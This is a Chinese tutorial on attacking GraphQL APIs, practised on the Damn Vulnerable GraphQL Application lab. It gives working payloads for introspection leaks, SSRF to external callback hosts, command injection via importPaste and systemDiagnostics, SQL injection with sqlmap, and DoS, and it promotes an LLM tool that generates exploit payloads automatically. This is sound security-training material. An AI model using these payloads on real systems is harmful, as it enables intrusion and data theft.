参考资料:
https://mp.weixin.qq.com/s/-nR9YNFpw5a1FuRSZOf4Vw
https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ
https://mp.weixin.qq.com/s/WoHEC50u7KACLLafZL5tww
https://mp.weixin.qq.com/s/mmJrE6uIBC-4ztr5PFZasA
https://www.yuque.com/henry-weply/penetration/ps5n3g#wERbE
https://xz.aliyun.com/news/14350
靶场项目地址:https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application
1.GraphQL基础知识
1.1.什么是GraphQL
- GraphQL 是由 Facebook 开发的一种用于 API 的查询语言和运行时。
- 客户端可以精确指定所需数据,避免过度获取(over-fetching)或获取不足(under-fetching)。
- 与 REST 不同,GraphQL 通常通过单一端点(如
/graphql)接收所有请求。

1
2
3
4
5
6
7
8
9
10
11
12
|
REST示例:
/api/users/1 查询ID为1的用户信息
/api/users/list 列出所有用户
/api/goods/1 查询ID为1的商品
GraphQL示例:通常为POST请求,Body为Json数据
/graphql
{
"query": "query { user(id: \"1\") { name email } }" //查询id为1的用户信息
}
|
1.2.核心概念
- Query:用于读取数据(类似 GET 请求)。
- Mutation:用于写入/修改数据(类似 POST/PUT/DELETE)。
- Schema:定义了 API 支持的类型、字段、查询和变更。
- Resolver:服务端函数,用于解析每个字段的数据来源。
2.GraphQL指纹识别
- 通过数据包查看
请求端点相同且请求体为Json格式,内容为
{
“query”: “query { user(id: "1") { name email } }”
}

- 通过工具graphw00f判断
1
|
python main.py --proxy=http://127.0.0.1:8080 -t http://192.168.242.215:5013/graphql -f
|

- 通过Burp插件InQL分析


3.GraphQL安全问题
1
2
3
4
5
6
7
|
是否存在 /graphql、/graphiql、/playground 等端点?
Introspection 是否开启?能否获取完整 Schema?
能否通过字段猜测访问敏感数据(如 email, phone, role, passwordHash)?
是否存在深度嵌套或循环查询导致 DoS?
Mutation 是否缺乏权限校验(如删除他人数据)?
错误信息是否泄露内部逻辑?
是否对查询频率/复杂度有限制?
|
3.1.信息泄露攻击
1. Introspection(内省)泄露
GraphQL 默认开启内省功能(可通过 __schema 查询整个 Schema)。攻击者可借此了解 API 结构,发现敏感字段或未公开接口。相当于REST API 中 的Swagger接口文档泄露
1
2
3
4
5
6
7
8
9
10
11
12
13
|
{
__schema {
types {
name
fields {
name
type {
name
}
}
}
}
}
|

利用泄露的API结构在查询可能存在的敏感信息

解决方案:建议在生产环境中禁用内省查询,以此避免数据泄露风险。
2.graphiql接口泄露
GraphQL 内置了一款名为 GraphiQL的集成开发环境,它能够提供友好的可视化操作界面,帮助开发者编写和调试 GraphQL 查询语句。
GraphiQL 的访问路径通常为 /graphiql ,/console,/playground

3.GraphQL堆栈错误

4.SSRF漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
POST /graphql HTTP/1.1
Host: 192.168.242.215:5013
Content-Length: 320
Accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Content-Type: application/json
Origin: http://192.168.242.215:5013
Referer: http://192.168.242.215:5013/import_paste
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: env=graphiql:disable
Connection: close
{"query":"mutation ImportPaste ($host: String!, $port: Int!, $path: String!, $scheme: String!) {\n importPaste(host: $host, port: $port, path: $path, scheme: $scheme) {\n result\n }\n }","variables":{"host":"w52ao9sfbm7939wjvqar5qaqkhq8ez2o.oastify.com","port":80,"path":"/","scheme":"http"}}
|

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
mutation ImportPaste (
$host: String!,
$port: Int!,
$path: String!,
$scheme: String!
) {
importPaste(host: $host, port: $port, path: $path, scheme: $scheme) {
result
}
}
{
"host": "uwu8f7jd2ky7u7nhmo1pwo1obfh65ytn.oastify.com",
"port": 80,
"path": "/",
"scheme": "http"
}
|
探测内网端口,存在端口会一直卡住,不存在端口直接返回

5.代码执行漏洞
1
2
3
4
5
|
mutation {
importPaste(host: "localhost", port: 80, path: "/ ; uname -a", scheme: "http") {
result
}
}
|

查询操作 systemDiagnostics 出于调试目的,允许接收部分 UNIX 系统命令工具作为参数,例如 whoami、ps 等。该操作的作用类似于一个受限 shell。
1
2
3
|
query {
systemDiagnostics(username: "admin", password: "changeme", cmd: "id")
}
|

6.存储型XSS漏洞
发布帖子处和导入帖子处存在存储型XSS漏洞


7.SQL注入漏洞
1
2
3
4
5
6
|
query {
pastes(filter: "aaa'") {
content
title
}
}
|
单引号数据库报错

闭合单引号正常输出

将数据包保存为txt使用SQLMAP即可实现自动化注入
1
|
python sqlmap.py -r C:\Users\24767\Desktop\sql.txt --level 3 --batch -p filter
|

8.拒绝服务攻击DDOS
在 GraphQL 中,存在一种名为查询成本分析的机制。该机制会为那些解析开销较高的字段分配对应的权重值。借助这一功能,我们可以设定一个成本上限阈值,一旦查询的总成本超过该阈值,就直接拒绝执行此查询。除此之外,还可以实现缓存功能,避免在短时间内重复处理相同的请求。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
POST /graphql HTTP/1.1
Host: 192.168.242.215
Content-Length: 87
Accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Content-Type: application/json
Origin: http://192.168.242.215:5013
Referer: http://192.168.242.215:5013/my_pastes
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: env=graphiql:disable
Connection: close
{
"query": "query GeneratedOperation {\n systemUpdate\n}",
"variables": {}
}
|

总结:GoaphQL技术本质是一个接口文档类似于Swagger,包含接口端点和参数名参数类型,存在很多类型漏洞(包括常见Top10漏洞),挖掘思路就是利用泄露的端点和参数去Fuzz,从而判断是否存在漏洞
4.LLM-GraphQL
https://github.com/Lserein/LLM-GraphQL
Model-assisted Cyber Penetration for GraphQL 一个轻量级、AI 驱动的 GraphQL 自动化漏洞探测工具。利用大语言模型(LLM)智能分析 Schema,自动构造并验证 SSRF、RCE、信息泄露等漏洞。
🔍 功能特性
- ✅ 自动 GraphQL 指纹识别(支持 100+ 常见路径)
- ✅ 内省(Introspection)泄露检测与 Schema 获取
- ✅ 完整内省查询:获取所有类型、枚举、输入类型、接口信息
- ✅ Mutation & Query 参数自动提取与风险分析
- ✅ AI 驱动:大模型生成 SSRF/RCE/SQLi/信息泄露 Payload
- ✅ 智能 Fuzzing:AI 分析响应并迭代优化 Payload(默认启用,3 轮迭代)
- ✅ 智能字段处理:使用
__typename 避免猜测字段错误
- ✅ 多维度 RCE 检测:时间盲注 + 回显检测(whoami/id)+ OAST 外连
- ✅ 自动漏洞验证(OAST + 时间盲注 + 关键词匹配)
- ✅ 自动错误修复:GraphQL 语法错误自动修复与重试
- ✅ HTML 报告生成:精美的漏洞报告,支持 HTML/JSON/Markdown 格式
- ✅ 认证支持:自定义 Headers、Cookies、认证文件
- ✅ 代理支持:HTTP/HTTPS/SOCKS5 代理,方便与 Burp Suite 联动
- ✅ 清晰的控制台彩色输出
- ✅ 支持多种 LLM(Qwen、Ollama/Llama3)
配置config.ini

1
|
python mcp-graphql.py --url http://
|

